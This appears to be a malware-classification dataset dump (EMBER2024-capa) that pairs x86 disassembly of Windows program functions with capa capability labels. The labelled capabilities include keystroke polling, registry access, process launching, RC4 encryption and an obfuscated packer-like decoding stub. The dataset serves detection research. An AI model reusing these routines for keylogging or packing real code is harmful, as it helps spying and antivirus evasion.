joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4029e0
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x404a10
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
push eax
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 8]
mov dword [esp + 0x18], 0
call sub.MFC42.DLL_CString::CString
push 0x5c
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], 1
call sub.MFC42.DLL_CString::ReverseFind
mov esi, eax
test esi, esi
jl 0x402a8c
lea ecx, [esi + 1]
lea edx, [esp + 0xc]
push ecx
push edx
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::Mid
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 2
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0xc]
mov byte [esp + 0x18], 1
call fcn.00403dd0
lea eax, [esp + 0xc]
push esi
push eax
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], 3
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0xc]
mov byte [esp + 0x18], 1
call fcn.00403dd0
mov ecx, dword [esp + 0x20]
push ecx
mov ecx, edi
call fcn.00402820
mov edx, eax
test edx, edx
jne 0x402ab0
mov edx, dword [esp + 0x20]
mov ecx, edi
push edx
call fcn.004027e0
mov edx, eax
test edx, edx
je 0x402b0a
mov esi, dword [esp + 0x24]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push 1
push eax
mov eax, dword [esp + 0x18]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x402b0a
lea ecx, [esp + 8]
mov byte [esp + 0x18], al
call fcn.00403dd0
lea ecx, [esp + 0x20]
mov dword [esp + 0x18], 0xffffffff
call fcn.00403dd0
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret 8
lea ecx, [esp + 8]
mov byte [esp + 0x18], 0
call fcn.00403dd0
lea ecx, [esp + 0x20]
mov dword [esp + 0x18], 0xffffffff
call fcn.00403dd0
mov ecx, dword [esp + 0x10]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 8

Function at 0x402b40
Capabilities:
Query or enumerate registry key

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push eax
mov eax, dword [ecx + 4]
push 0xf003f
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402b71
or eax, 0xffffffff
add esp, 0x10c
ret 4
push ebx
push esi
mov eax, dword [esp + 8]
xor esi, esi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push esi
push esi
push esi
lea ecx, [esp + 0x18]
push esi
lea edx, [esp + 0x20]
push ecx
push edx
push esi
push eax
mov dword [esp + 0x2c], 0x104
call ebx
test eax, eax
jne 0x402bcf
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x14]
push eax
rep stosd dword es:[edi], eax
push eax
push eax
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x24]
inc esi
push ecx
push edx
push esi
push eax
mov dword [esp + 0x30], 0x104
call ebx
test eax, eax
je 0x402b9e
pop edi
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
add esp, 0x10c
ret 4
Function at 0x402bf0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0xb10
mov edx, dword [esp + 0xb14]
lea eax, [esp]
push ebx
push ebp
push esi
push edi
push eax
mov eax, dword [ecx + 4]
push 0xf003f
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402c2c
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0xb10
ret 0xc
mov eax, dword [esp + 0x10]
xor esi, esi
push esi
push esi
push esi
lea ecx, [esp + 0x20]
push esi
lea edx, [esp + 0x34]
push ecx
push edx
push esi
push eax
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x402d00
mov ebx, dword [esp + 0xb2c]
mov ebp, dword [esp + 0xb28]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
push 0xf003f
lea edx, [esp + 0x2c]
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x128]
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x24]
push edx
push eax
push 0
push ebp
push ecx
mov dword [esp + 0x34], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0x128]
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x402d1a
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x24]
push eax
rep stosd dword es:[edi], eax
push eax
push eax
lea ecx, [esp + 0x20]
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x34]
inc esi
push ecx
push edx
push esi
push eax
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x402c66
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xb10
ret 0xc
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0xb10
ret 0xc
Function at 0x402f60
Capabilities:
Check if file exists
Get file size
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x404a38
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [esp + 0x18]
push ebp
push eax
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::CString_1
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x14], 0
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402fc1
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call fcn.00403dd0
xor eax, eax
pop ebp
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret
mov edx, dword [esp + 0x1c]
push 0
push 0x8000000
push 3
push 0
push 1
push SysReAllocStringLen
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x403070
lea eax, [esp + 0x1c]
lea ecx, [esp + 4]
push eax
push 0x4073a0
push ecx
call sub.MFC42.DLL_operator_1
push 0x407398
lea edx, [esp + 0x24]
push eax
push edx
mov byte [esp + 0x20], 1
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 2
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x20]
mov byte [esp + 0x14], 1
call fcn.00403dd0
lea ecx, [esp + 4]
mov byte [esp + 0x14], 0
call fcn.00403dd0
mov eax, dword [esp + 0x1c]
push 0x10
push 0x4072bc
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], ebp
call fcn.00403dd0
xor eax, eax
pop ebp
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret
push ebx
push esi
push edi
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edi, [ebx + 1]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, edi
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x18]
push eax
push ebx
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x2c]
push esi
call sub.MFC42.DLL_CString::operator
push esi
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], 0xffffffff
call fcn.00403dd0
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebx
mov eax, 1
pop ebp
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x403100
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x404a68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [esp + 0x18]
push esi
push eax
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::CString_1
mov ecx, dword [esp + 0x1c]
push 0
push 0x8000000
push 2
push 0
push 3
push 0xc0000000
push ecx
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4031de
lea edx, [esp + 0x1c]
lea eax, [esp + 4]
push edx
push 0x4073a0
push eax
call sub.MFC42.DLL_operator_1
push 0x407398
lea ecx, [esp + 0x24]
push eax
push ecx
mov byte [esp + 0x20], 1
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 2
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x20]
mov byte [esp + 0x14], 1
call fcn.00403dd0
lea ecx, [esp + 4]
mov byte [esp + 0x14], 0
call fcn.00403dd0
mov edx, dword [esp + 0x1c]
push 0x10
push 0x4072bc
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], esi
call fcn.00403dd0
xor eax, eax
pop esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
lea edx, [esp + 8]
push 0
push edx
mov eax, dword [eax]
mov ecx, dword [eax - 8]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call fcn.00403dd0
mov ecx, dword [esp + 0xc]
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x403b80
Capabilities:
Get hostname
Resolve dns

Disassembly:
sub esp, 0x84
lea eax, [esp + 4]
push 0x80
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
je 0x403ba3
xor eax, eax
add esp, 0x84
ret
push ebx
push ebp
push esi
lea ecx, [esp + 0x10]
push edi
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, eax
xor esi, esi
cmp ebx, esi
mov dword [esp + 0x10], esi
je 0x403c03
mov edi, dword [esp + 0x98]
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
mov edx, dword [ebx + 0xc]
mov eax, dword [edx + esi*4]
test eax, eax
je 0x403c03
cmp dword [esp + 0x9c], esi
jne 0x403bf7
test edi, edi
je 0x403bf7
mov eax, dword [eax]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push 0x4073f0
push edi
call ebp
add esp, 0xc
mov ecx, dword [esp + 0x10]
inc ecx
inc esi
mov dword [esp + 0x10], ecx
jmp 0x403bcb
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x84
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x4028f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x402901
pop dword [ebp - 0x14]
mov eax, 0x402901
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x1d9a6a7
add dword [ebp - 0x24], 0x4c789ea4
mov dword [ebp - 0x20], 0x288cbd97
sub dword [ebp - 0x20], 0xf6597152
mov dword [ebp - 0x1c], 0x900bcf6c
sub dword [ebp - 0x1c], 0x43bf8b3e
mov dword [ebp - 0x18], 0x1764b3f1
add dword [ebp - 0x18], 0xe89b4c0f
lea eax, [ebp - 0x24]
push eax
mov eax, 0x29b739ec
add eax, 0xd6899660
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x4810545f
sub dword [ebp - 0x24], 0xd39deb09
mov dword [ebp - 0x20], 0xc79fe96a
add dword [ebp - 0x20], 0x79cc780b
mov dword [ebp - 0x1c], 0xa1cb7be5
sub dword [ebp - 0x1c], 0x3e5c0f79
mov dword [ebp - 0x18], 0x1ff00325
sub dword [ebp - 0x18], 0x1ff00325
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x7eaae598
sub eax, 0x7e6a1550
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x36a5b
push 0
call eax
mov ecx, 0x8db4361a
add ecx, 0x724c06ae
xor ebx, ebx
add ebx, eax
mov esi, 0x41b000
add esi, dword [ebp - 0x14]
mov edi, 0xeca19cae
sub dword [ebp - 0x10], 0xb4adb733
mov edx, dword [esi]
xor dword [ebp - 0xc], 0x2d524d69
add edx, edi
sub dword [ebp - 4], edi
mov dword [ebx], edx
xor dword [ebp - 8], esi
add ebx, 0x3d2ae8c4
add ebx, 0xc2d51740
add esi, 0xd99786b8
add esi, 0x2668794c
loop 0x402a14
add eax, 0xeead4ece
add eax, 0x11539725
mov ebx, eax
add eax, 0xb8196770
add eax, 0x47e69895
mov ecx, 0xf5a16cab
sub ecx, 0xf5616cab
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x41d4f0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x480b0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004753ab
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x41d572
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00472afa
mov eax, dword [eax]
push 0x49a204
push eax
call fcn.004657d4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00475636
test bl, bl
je 0x41d572
push 0x49a204
lea ecx, [esp + 0xc]
call fcn.004759c6
push 0x49dd7c
lea ecx, [esp + 0xc]
call fcn.004759c6
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41d5ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00475636
jmp 0x41d679
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x41d632
lea edx, [esp + 0x7c]
push 0x49dd78
push edx
call fcn.004657d4
add esp, 8
test eax, eax
je 0x41d632
lea eax, [esp + 0x7c]
push 0x49dd74
push eax
call fcn.004657d4
add esp, 8
test eax, eax
je 0x41d632
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41d5c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00475636
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x41de70
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x41ded2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x41dee0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x480b8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4a42b0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x41e018
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x41df46
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00475636
xor eax, eax
jmp 0x41e08f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00475773
push esi
lea ecx, [esp + 0xc]
call fcn.00475a02
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41e06d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.0041de70
test eax, eax
jne 0x41e06d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.0041de70
test eax, eax
jne 0x41e06d
lea eax, [esp + 0x14]
push 0x49dd90
push eax
call fcn.004668e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41e04c
lea ecx, [esp + 0x14]
push 0x49dd8c
push ecx
call fcn.00466860
mov esi, eax
add esp, 8
test esi, esi
jne 0x41e04c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41e04f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00475723
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41df5e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00475636
xor eax, eax
jmp 0x41e08f
mov byte [esi], 0
push 0x49dd88
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00475636
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x42fcb0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42fd1e
cmp si, 0x69
ja 0x42fd1e
add esi, 0xffd0
cmp si, 0x11
je 0x42fcee
push 0x11
call edi
test ax, ax
jge 0x42fcee
or esi, 0x2000
cmp si, 0x10
je 0x42fd03
push 0x10
call edi
test ax, ax
jge 0x42fd03
or esi, 0x4000
cmp si, 0x12
je 0x42fd18
push 0x12
call edi
test ax, ax
jge 0x42fd18
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42fd2b
mov esi, 0xbd
jmp 0x42fcdf
cmp si, 0x6e
jne 0x42fd38
mov esi, 0xbe
jmp 0x42fcdf
cmp si, 0x6f
jne 0x42fcd9
mov esi, 0xbf
jmp 0x42fcdf

Function at 0x431570
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4b49e8]
xor edx, edx
cmp eax, edx
jne 0x431596
xor eax, eax
mov byte [eax + 0x4b48e8], al
inc eax
cmp eax, 0x100
jl 0x43157e
mov dword [0x4b49e8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4b48e8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x431627
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4315fa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4315c8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4316a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4316f3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4316da
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x438130
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4382c8
cmp ebp, ebx
jle 0x4382c8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x43818e
dec eax
or eax, 0xfffffff8
inc eax
je 0x438195
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4381a4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4381ab
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00475377
add esp, 4
cmp eax, ebx
je 0x4381cc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00475377
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4382be
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4382a5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x438291
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x438286
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x438294
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x438294
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x438230
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x438221
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x43b2d0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x482238
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x43b309
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0047cd4e
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0047cd9a
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.0043b390
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0047cdd7
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24